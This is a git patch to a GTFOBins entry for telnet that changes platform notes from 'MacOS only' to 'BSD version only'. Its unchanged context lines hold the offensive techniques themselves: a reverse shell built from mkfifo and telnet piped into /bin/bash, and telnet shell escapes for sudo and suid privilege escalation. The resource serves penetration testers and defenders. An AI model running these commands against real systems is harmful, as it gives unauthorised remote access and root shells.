From ac29dc064d988a537ddc5d16d2c692abf1595992 Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Tue, 22 May 2018 21:26:17 +0100 Subject: [PATCH] Fix telnet descriptions --- _gtfobins/telnet.md | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/_gtfobins/telnet.md b/_gtfobins/telnet.md index a6f2bcd..2b9eafa 100644 --- a/_gtfobins/telnet.md +++ b/_gtfobins/telnet.md @@ -1,13 +1,13 @@ --- functions: exec-interactive: - - code: | + - description: BSD version only. + code: | RHOST=www.google.com RPORT=80 telnet $RHOST $RPORT ^] !/bin/sh - description: MacOS only. reverse-shell: - description: Run `nc -l -p 8000` to receive the shell on the other end. code: | @@ -17,19 +17,20 @@ functions: rm $TF mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/bash 1>$TF sudo-enabled: - - code: | + - description: BSD version only. + code: | RHOST=www.google.com RPORT=80 sudo telnet $RHOST $RPORT ^] !/bin/sh - description: MacOS only. suid-limited: - - code: | + - description: BSD version only. + code: | RHOST=www.google.com RPORT=80 ./telnet $RHOST $RPORT ^] !/bin/sh - description: MacOS only. + ---